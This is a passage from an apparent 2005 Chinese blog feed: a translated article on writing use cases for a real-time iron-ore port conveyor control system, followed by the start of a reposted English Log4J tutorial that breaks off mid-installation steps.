<P>在图2中，角色使用UML 包分组。在左边是角色包。最重要的一个在左上角。CRO 就是Control Room Operator，中央控制室操作员。其它重要的还有在左下角的RSMT(Root System Maintenance Technician，根系统维护技术员)。</P>
<P>其它的包包括所有不同的设备角色。一些用例提到我们管理的通用设备，另一些将提到特定的不同类型的设备。</P>
<P>在图的下方有一些与我们交互的外部设备。左边的一个是PMAC，一个已经存在的系统用来处理我们的用户界面。如果它仅仅是与我们的系统相关的用户界面，那么我们不需要把它看作角色，因为实际上角色是CRO。但是它实际上是我们相关的角色，因为我们给它传递信息，并且从它那里收集信息。</P>
<P>电力负荷管理系统Power Load Management System (PLMS)是值得关注的。在Headland港，港口工厂有自己的电站。当你启动7KM长的传送带，并在上面运行数千吨的矿石是，它需要大量的电力供应。因此，传送带的启动实际上是错开的，以便降低电站的负荷。只要你想启动传送带，PT系统都将询问电站并得到电站的许可。</P>
<P><A name=N100C7><SPAN class=atitle3>确定用例</SPAN></A><BR>用例是一种简单的可选择的定义需求的方法。首先，让我们再次回顾一下用例的定义：</P>
<P>用例定义一个由系统完成的操作序列，它给操作者和相关人员提供 <B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">可观察到的有价值的结果</B>。 </P>
<P>在识别IT系统的用例时，牢记“可观察到的有价值的结果”是非常重要的，这一点在这里仍然适用。我们将看到系统提供给操作者和相关人员的值。在我们的例子中，中央控制室操作员是一个角色，但是整个公司实际上都可以看到系统把矿石从一个地方移动到另外的地方。“由系统完成的操作序列”声明了在用例中系统怎么做的描述。这些每个都是我们系统的需求。最后，用例是一个完整的有意义的事件流。把“完整的有意义的事件流”和“可观察到的有价值的结果”这两个概念组合起来可以帮助避免识别出不完整的功能片断并把它称为用例。</P>
<P>用例和角色在用例图中以图形化的方式描述。图3显示了 PT系统的顶层用例图。你很快就能看到 PT系统的用例分为4组：Operation, Administration, Configuration 和System Startup。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig3.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 3:</B> 顶层用例图 
<P>PT系统中用例相关的操作在图4中显示:</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig4.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 4:</B> PT系统的用例 
<P>PT的主要用例是“传送产品”。正如这个用例的名字那样，你可以看到在这里系统提供给用户和有关人员的价值是把产品从一个地方运送到另一个地方的能力。这个软件也能够用来运送其它物品，不仅仅是铁矿。例如它能够用来在制药厂传送药片。传送产品是一个很大的用例，但它抓住了最根本的因素，即我们的系统存在的原因，即给我们的操作者和相关人员提供的价值。</P>
<P>在图4中我们看到与电源管理系统(PLMS)的交互，请求启动设备，我们也看到了用例与我们控制的设备的交互。我们可以显示每个设备角色，但那样的话，图就显得太混乱了。</P>
<P>在图4中，从CRO到传送产品的箭头，表示这个操作员发起或者启动这个用例。用例到设备和PLMS操作者的箭头表示这个用例或者系统与设备和PLMS交谈。从船舱装载系统(SHLS)的箭头表示SHLS发起与系统的交互－－特别地，SHLS可以请求铁矿流暂时中断以便装载机移动到另一个舱室。</P>
<P>有关管理、配置和系统启动的用例在图5中描述。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig5.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 5:</B> 有关管理、配置和启动的用例 
<P>在这里我们可以做的一件事情是在对系统的操作影响最小的情况下更新系统软件。因此我们有"Perform Software Upgrade" 用例。我们也有"Start System" 用例 -这个用例经常被忘掉。系统有人身安全优先的规则，Start System 用例包括在系统启动时进行的所有安全检查的规格说明。你一定不想在服务人员在传送带上工作时偶然地启动它！</P>
<P>Route System Maintenance Technologist (RSMT)是一个负责创建作业或者预定义作业的人，预定义的作业稍后由CRO使用。我们可以在系统中添加新的设备，定义新设备的种类以及定义系统传送产品的特点。港口工厂处理来自不同矿山的不同类型的铁矿，它们有不同的颗粒大小、不同的矿石成分等级。我们要非常小心的一件事情是避免把错误的矿石装到船上去。</P>
<P>关于用例图这里要警告一下：用例图只是冰山的一角。直到你开始写用例规格之前不要去重新分解、重组和调整用例模型。用例的规格大约95％来自用例模型。用例图仅仅给你一个模型的总体、全面的概要描述。</P>
<P>正如我前面提到的，用例描述“事件流”。图6显示不同种类的事件流和它们是如何在用例规格中描述的。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig6.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 6:</B>主事件流和分支流 
<P>从顶部到底端底蓝色粗线条表示主事件流(Basic Flow)。它表示每件事情都按照正确的方式发生。有很多种分支流(Alternate Flow)。描述处理设备故障的分支是一个很好的分支流的例子。另一个例子是描述操作员取消了前面请求的动作。</P>
<P>这里一个非常重要的结构是子事件流(Subflow)。子事件流就象子程序调用。我们试图保持主事件流简单易读，没有子事件流是很难做到这一点的。例如，我们使用子事件流来描述我们启动或者安放设备位置时发生的细节。这些过程每个都相当复杂，如果我们都在主事件流上描述，那么它将变得很长并且很难理解。</P>
<P>图7显示一个主事件流的片断：</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig7.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 7:</B> 描述启动一个作业的主事件流示例 
<P>在第二步，系统检查作业是否有效。如果系统确认作业无效时会发生什么？这在分支流中描述。在用例规格中我们使用脚注来指示分支流，脚注文本包括指向相关文档章节的交叉引用。这将减少描述事件流的混乱，使得它更容易读。在这里我使用 "§" 符号指示存在一个分支流。我也用高亮的红色表示这是项目术语表－－一份很重要的文档－－中的定义。</P>
<P>在第3步，系统检查选择的作业的启动策略。"Starting/Positioning Stragegy 2.1"表示交错启动，它需要在启动作业前所有的设备都到位。这个启动策略在分支流中描述。最后系统向PLMS询问是否允许启动作业。如果不允许时发生的事情也在分支流中描述。</P>
<P>在图8中，我们将看到分支流和子事件流的例子。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig8.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 8:</B> 分支流和子事件流示例 
<P>分支流定义当基于某种原因设备不到位，因而这个作业不能启动时应该发生什么。系统给操作者发一个消息，建议在我们实际启动作业前把设备移动到相应的位置。在这个点上，用例就结束了。</P>
<P>子事件流的例子提供我们实际上如何启动作业的更详细的信息。系统检查全部作业设备是否畅通（传送带上没有其它物品）。如果正常，系统同时移动所有需要定位的设备到相应的位置，包括作业自己需要的设备和要与其它作业共享的设备，然后我们交错启动所有的设备以避免电力过载。当全部设备都运行起来后，我们告诉操作员作业已经启动，然后用例结束。第16步的 "a", "b" 和 "c" 也涉及了子事件流。</P>
<P><A name=N10147><SPAN class=atitle3>特殊需求</SPAN></A><BR>有很多需求，特别在实时系统中，不能归结到用例的事件流中。通常它们是非功能需求如性能、可用性等等。那些与给定用例相关的特殊需求可以归结到与用例规格定义相关联的"特殊需求"一节中。有时为了方便，甚至功能需求也可以放到这一节中。图9即为一个示例。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig9.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 9:</B> 特殊需求 
<P>第一个例子可以作为一个分支流，但是为了使主事件流基于阅读，我们可以简单地说：“系统检查是否有特殊需求的xyz节中规定的不能启动的状况发生”。在这个特定用例中，如果我们在码头传送带上还有东西，而传送带由于完成了往甲板上卸矿石已经停止工作，那么我们将给操作员发出一个警告。</P>
<P>第二个例子是一个算法的详细描述，这个算法用来调整传送带的传输量和传送速度。这里，主事件流可以简单地描述：“传输量和传送速度按照特殊需求中的uvw节进行调整。”</P>
<P><A name=N10161><SPAN class=atitle2>结构化用例</SPAN></A><BR>用例的结构化是一个高级课题。你也可以不使用这项技术来完成一个系统的需求文档。用例的结构化可以让你避免冗余信息，保证用例文本只存在一个单独的可维护的位置。关于结构化的重要的一点是，你必须避免让用例模型和用例变得难以理解。</P>
<P>结构化技术在图10中显示。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig10.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 10:</B> 结构化用例 
<P>在图的左边，我们有一个用例，它有一个主事件流，一个分支流和一个子事件流。子事件流和分支流都可以作为单独的用例分出来。分支流变成一个新的用例，扩展了原始的用例。子事件流也变成一个新的用例，它包含在原始的用例中。一般来说，包含关系仅仅用于一个分支流共用于多个用例的情况。这就是我们如何确保仅仅写一个分支流，仅仅有一个维护地点的方法。通常，当需要在已经存在的用例上增加新功能而且你又不想修改原始用例时，可以创建一个扩展流</P>
<P>把这些结构化技术用到我们的产品传送系统后，改变后的用例如图11所示：</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig11.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 11:</B> 用例模型的修改 
<P>这些新的用例称为“抽象用例”，因为它们没有操作者，你不能直接调用它们。如果我把这些抽象用例隐藏起来，你仍然可以相当清楚地看到系统的主要功能。</P>
<P>一系列的错误处理用例都以这样的声明开始：“当系统检测到设备故障”或者“当系统检测到超载”等。然后用例继续描述系统在这些情况的响应。</P>
<P>在图11的顶部，我提炼出了两个抽象用例：一个是启动作业，另一个是停止作业。从技术角度来说，我在这里破坏了规则：包含用例应当被多于一个的用例共享。我之所以这么做是因为，如果我在“传送产品”用例中写出所有的内容，文档将超过300页。把它分开可以让很多人同时在系统的不同部分描述需求。</P>
<P><A name=N10190><SPAN class=atitle2>补充需求</SPAN></A><BR>我们有很多补充的需求，它们不适合放在任何用例中。因为特定的需求与具体的用例相关，这些都是典型的非功能性需求。在你在用例中的需求和补充的需求之间存在一个平衡。当你进行实时系统工作时，你可能发现会比你进行IT系统开发时有更多的补充需求。这是由于在实时系统中有更多的有时间要求的需求，它们都在补充需求中描述。</P>
<P>下面是放在补充需求中的非功能需求的例子：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>The PT System shall, upon notification of fault requiring upstream interlocks to be set to "False", set Upstream interlocks to False within 0.60 second. 
<LI>The PT System annual Availability (refer Glossary) shall exceed 99.954%. 
<LI>The PT System Maintenance Procedures shall comply with the Client's maintenance strategy for real-time PLC control systems. 
<LI>The PT System shall use the existing PMAC System for the CRO, PCO, and viewer interface. 
<LI>The portion of the PT System controlling route interlocking and directly connected to route equipment and interconnected systems shall be PLC based and, in the event of failure of higher level control within the PT System, shall be capable of safely operating any route currently starting, running, or stopping. </LI></UL>
<P>功能需求也可以包括在补充需求中。当有些功能用用例写还不如用补充需求描述时，可以把这些需求放在补充需求中，而不用写一个完整地用例规格定义。下面是一些这样的例子:</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>The System shall advise the Operator if the sum of the source feed setpoints for a route is more than 10% less than the minimum capacity for the route. 
<LI>If a feed source has been enabled for a route with a cleanup destination, the System shall: 
<UL>
<LI>Raise an alarm 
<LI>Re-raise the alarm every 10 minutes while the condition persists </LI></UL>
<LI>If during a ship hatch change, burden is on the wharf conveyor at or within the gross stopping distance of the shiploader, the System shall: 
<UL>
<LI>Raise an alarm 
<LI>Issue a message to the operator 
<LI>Stop the wharf conveyor 
<LI>Issue a request to the SHLS to stop the shiploader boom conveyor </LI></UL></LI></UL>
<P><A name=N101D7><SPAN class=atitle2>用例的益处</SPAN></A><BR>用例有以下益处：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>给出需求的上下文，清楚显示为什么需要系统。 
<LI>把需求按照时间顺序排列，使需求比传统方式更加容易读，更容易理解。 
<LI>更容易得到客户的认同，因为他们能更容易地阅读和理解。 
<LI>可以用作项目计划、分析、设计、测试和文档的基础。 </LI></UL>
<P>另一方面，关于用例有很多不正确的观点。第一个是，象当前多种书籍和文章中指出的，传统的书写需求的方法能够更严谨和精确。实际上并不是这样的，我们在这个项目中也能写出非常严谨而精确的用例。</P>
<P>另一个看法是任何没有经过专业培训的人都可以写用例。写传统需求文档的原则在这里仍然适用。你需要从外部视角来看系统做什么。你不需要写出系统是怎样做的。象传统的需求一样，你写的用例需求也应该是可测试的。新手经常继续使用老的诸如功能分解的习惯。有开发背景的人经常倾向于从系统内部而不是用外部视角描述。</P>
<P><A name=N101F7><SPAN class=atitle2>用例贯穿整个项目</SPAN></A><BR>我前面提到，用例在整个项目中都有用。</P>
<P><A name=N10202><SPAN class=atitle3>项目计划</SPAN></A><BR>在这里我们没有足够的空间讨论分配用例迭代的准则。只能简单说，这些准则基于RUP的风险评估。下面是分配的迭代：</P>
<TABLE width="60%" border=1>
<TBODY>
<TR>
<TD><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">迭代1</B> </TD>
<TD>启动、停止和处理一个独立作业上的一个设备故障。 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">维护设备和作业。 </TD></TR>
<TR>
<TD><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">迭代2</B> </TD>
<TD>启动、停止和处理覆盖作业和作业组上的设备故障。 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">维护计划和约束。 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">维护产品。 </TD></TR>
<TR>
<TD><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">迭代3</B> </TD>
<TD>创建产品产品差距。 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">改变作业所有权。 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">直接命令设备 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">删除作业。 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">修改负载数据。 </TD></TR></TBODY></TABLE>
<P><A name=N10244><SPAN class=atitle3>用例分析</SPAN></A><BR>用例分析是一个用来识别对象、类、类属性和类方法的过程。 由于这个项目的实现方法是非面向对象的，我们使用一个映射把面向对象的分析模型转换到过程设计模型。图12显示对启动作业用例进行分析的部分结果：</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig12.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 12:</B> 从启动作业用例导出的序列图 
<P><A name=N10258><SPAN class=atitle3>测试计划</SPAN></A><BR>我极力推荐下面的一篇文章：June 2001 Rational Edge，Jim Heumann，"Generating Test Cases from Use Cases"。在我们的PT系统中使用这种方法识别测试用例。图13显示启动作业用例的迭代2的测试用例。注意在测试用例和用例需求之间的连接。它可以帮助保证需求都被测试，以及测试用例随着需求变更而更新。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig13.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 13:</B> 从启动作业用例导出的测试用例 
<P><A name=N1026C><SPAN class=atitle2>经验学习</SPAN></A><BR>1. 集中在外部可视的行为上。这一点怎么强调都不过分，这就是我为什么这里再次重复的原因。在这个项目中，我经常告诉那些需求分析人员，让他们想象它们是飞翔在港口工厂的用户，让他们问自己他们想要看见发生的事情。如果你写的描述一些事情的需求不可见，那么你将不能对它进行测试。</P>
<P>2. 不要引入设计。这与经验1相关。下面是一个例子</P>
<P>每个作业都拥有一个使能信号，这个信号来自于作业的运送源。使能信号在操作间内部驱动作业运送来源的物理信号。(用例在这里描述了系统内部信号。)</P>
<P>有很多原因使你不应该这么做。首先，它使得测试很困难，因为描述的行为在外部不可见。第二，如果你把设计信息放到用例中，你就需要照着这些信息实现，因为那是需求，因此你不仅必须照着它来进行演示说明，而且它也限制你的设计人员的实现方式。</P>
<P>3. 不要为内部监控过程写用例。在这个系统中，由于是实时系统，有很多在系统内部运行的过程用来检查、监控和轮询其它设备。你不应该在你的用例中描述这些，因为它是设计，它仅仅是一种可能的实现方式。</P>
<P>除非过程与系统的目标相关，例如在建筑监控中的“监控建筑”用例中，你应该把它们写在补充需求规格中。例如</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>系统应该每200毫秒或者更短的时间内检查所有设备的状态。 
<LI>系统应该在设备失败的200毫秒内开始响应。 
<LI>系统应该保证产品混合率在设定值的+/-5%范围内。 </LI></UL>
<P>在用例的分支流或者扩展用例中，都可以描述如果系统检测到问题时发生什么事情。这些需求可以使你设计诸如轮询设备或者设备产生中断等的过程，然是它们属于设计应该考虑的事情，不属于需求的范围。</P>
<P>4. 不要太早"冻结"用例。在项目中太早冻结用例将会导致很多问题，因为在你和你的客户更好地理解需求时，你可以找到机会重新组织用例，或者你将引出新的用例，或者你要修改现有的用例。需求变更会发生，但这需要在一个迭代过程的管理和限制下进行，以便进行适当的影响评估，以及合适的预算和计划日程的变更。如果你使用迭代过程，你至少有在后面的迭代中改正的机会。</P>
<P>5. 不要过于追求完美的用例模型而超出项目计划日程。这是经验4的必然结论。你从来都不可能得到一个完美的用例模型。在某个点上，你将不得不停下修补完善用例模型的工作，开始实际的系统开发工作。即使用例模型并不完美，你也可能开发出符合用户需求的系统。最后，图14显示PT用例模型的实际样子。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig14.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 14:</B> 不完善的用例模型 
<P>你将看到选择作业、启动作业和停止作业是主要的用例。这里并没有围绕着传送产品用例把所有其它用例联系在一起，我们不得不在附加需求中描述其它的需求。来自操作员和相关者的选择、启动和停止作业的需求并没有进行评估。用例模型不完善的主要原因在于，需求必须在某个点冻结，以便开发者不会频繁地面对不确定的开发目标，系统应当被实际开发测试和部署。</P>
<P>6. 不要害怕收集细节信息。用例假定容易被每个人阅读，但是这并不意味着你在大街上随便找一个人，给他一个描述复杂系统的用例，就能够期望他能够理解。</P>
<P>需要问你自己的问题是：你的客户需要多大程度的细节？你想给你的开发者多大的范围？如果你在用例中没有给出很多细节，你就让你的开发者自行作出决定。你想这样做吗？你的开发者可能有丰富的经验而你也很高兴这么做。另一方面，如果你正在进行实际的开发，没有充分的细节不一定是可以接受的。你需要给开发者和测试者描述以足够的细节信息，说明什么对于客户是重要的。</P>
<P>如果有大量的细节信息，可以考虑把它们放到特殊需求或者附加需求中，或者用活动框图(Activity Diagram)来补充用例。(参见经验9)</P>
<P>7. 不要引入用例间的直接交互。用例不能相互交互。它们可以相互影响，但是只能通过操作系统状态来影响。</P>
<P>8. 不要把有关解决资源争夺问题的架构决策放到用例中。这一点与第2课有关，例如，当操作员使能一个作业的来源时，同时第二个作业共享同一个来源因此得到一个来源不可用的错误时，会发生什么情况？</P>
<P>这些状况应该在不同的用例中描述。在每个用例，你只需要简单描述在给定环境下你想要系统做什么。在这个例子中，系统内部如何工作，什么信号发到设备，这些都属于架构或者设计问题。系统架构需要解决这些问题，诸如保证信号在非常接近情况下接收、不同顺序接受或者高频率地接收。</P>
<P>9. 使用活动框图以便使得复杂的用例能够易于理解。活动框图可以作为用例的规格创建。</P>
<P><A name=N102BC><SPAN class=atitle2>总结</SPAN></A><BR>在PT系统中使用用例给项目带来很大的价值。只要有外部可见的系统行为，就应该使用用例来定义需求规格。</P>
<P>对任何系统来说，在确定用例时，要集中在系统的目标上以及系统给相关人员提供的价值。在写用例时要维护一个系统的外部视图。</P>
<P>对于实时系统，附加需求在整个系统需求中占有更大的百分比。</P>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><A name=author1></A><SPAN class=atitle2>关于作者</SPAN><BR>kerry 软件开发咨询顾问, 主要从事软件开发过程的咨询和指导工作，是 Rational 产品的热衷者，同时对 J2EE 技术有着丰富的经验。可以通过 <A href="mailto:kerrylike@163.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">kerrylike@163.com</A> 联系作者</TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/12275.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-07 00:23 <a href="http://www.blogjava.net/kapok/archive/2005/09/07/12275.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Log4J review</title><link>http://www.blogjava.net/kapok/archive/2005/09/07/12274.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Tue, 06 Sep 2005 16:03:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/07/12274.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/12274.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/07/12274.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/12274.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/12274.html</trackback:ping><description><![CDATA[<DIV class=article xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H1 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J>Log4J</H1></DIV>
<DIV xmlns="http://www.w3.org/1999/xhtml">
<DIV class=author xmlns="http://www.w3.org/1999/xhtml">
<H3 class=author>Ashley J.S Mills</H3>
<DIV class=affiliation xmlns="http://www.w3.org/1999/xhtml">
<DIV class=address xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><TT>&lt;<A href="mailto:ug55axm@cs.bham.ac.uk">ug55axm@cs.bham.ac.uk</A>&gt;</TT></P></DIV></DIV></DIV></DIV>
<DIV xmlns="http://www.w3.org/1999/xhtml">
<P class=copyright xmlns="http://www.w3.org/1999/xhtml">Copyright © 2002 The University Of Birmingham</P></DIV><A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html">http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html</A><BR>
<HR xmlns="http://www.w3.org/1999/xhtml">
</DIV>
<DIV class=toc>
<P><B>Table of Contents</B></P>
<DL>
<DT>1. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Introduction">Introduction</A> 
<DT>2. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Installation">Installation</A> 
<DT>3. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics">log4j Basic Concepts</A> 
<DD>
<DL>
<DT>3.1. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Logger">Logger</A> 
<DT>3.2. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Appender">Appender</A> 
<DD>
<DL>
<DT>3.2.1. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Appender-ConsoleAppender">Using A ConsoleAppender</A> 
<DT>3.2.2. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Appender-FileAppender">Using A FileAppender</A> 
<DT>3.2.3. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Appender-WriterAppender">Using A WriterAppender</A></DT></DL>
<DT>3.3. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Layout">Layout</A> 
<DT>3.4. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Basics-Example">Basic Examples Illustrating this</A> 
<DD>
<DL>
<DT>3.4.1. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Basics-Example-SimpAndFile">SimpleLayout and FileAppender</A> 
<DT>3.4.2. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Basics-Example-HTMLandFile">HTMLLayout and WriterAppender</A> 
<DT>3.4.3. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Basics-Example-consandpatt">PatternLayout and ConsoleAppender</A></DT></DL></DD></DL>
<DT>4. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-External-Config-File">Using External Configuration Files</A> 
<DT>5. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-References">References (And links you may find useful)</A></DT></DL></DIV>
<DIV class=sect1 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H2 class=title style="CLEAR: both" xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Introduction xmlns="http://www.w3.org/1999/xhtml">1.&nbsp;Introduction</H2></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">Logging within the context of program development constitutes inserting statements into the program that provide some kind of output information that is useful to the developer. Examples of logging are trace statements, dumping of structures and the familiar System.out.println or printf debug statements. log4j offers a hierarchical way to insert logging statements within a Java program. Multiple output formats and multiple levels of logging information are available. </P>
<P xmlns="http://www.w3.org/1999/xhtml">By using a dedicated logging package, the overhead of maintaining thousands of System.out.println statements is alleviated as the logging may be controlled at runtime from configuration scripts. log4j maintains the log statements in the shipped code. By formalising the process of logging, some feel that one is encouraged to use logging more and with higher degree of usefulness. </P></DIV>
<DIV class=sect1 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H2 class=title style="CLEAR: both" xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Installation xmlns="http://www.w3.org/1999/xhtml">2.&nbsp;Installation</H2></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">In order to use the tools we are about to install it is necessary to setup the operating environment so that the tools know where to find stuff they need and the operating system knows where to find the tools. A understanding of how to do this is essential as you will be asked to change the operating environment. I have comprehensively covered this in documents entitled <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/winenvars/winenvarshome.html" target=_top><I>Configuring A Windows Working Environment</I></A> and <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/unixenvars/unixenvarshome.html" target=_top><I>Configuring A Unix Working Environment</I></A>. </P>
<DIV class=orderedlist xmlns="http://www.w3.org/1999/xhtml">
<OL type=1>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml">Download the log4j distribution from <A href="http://jakarta.apache.org/log4j/docs/download.html" target=_top>http://jakarta.apache.org/log4j/docs/download.html</A>. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml">Extract the archived files to some suitable directory.</P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml">Add the file <TT>dist/lib/log4j-1.2.6.jar</TT> to your <TT>CLASSPATH</TT> environment variable. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
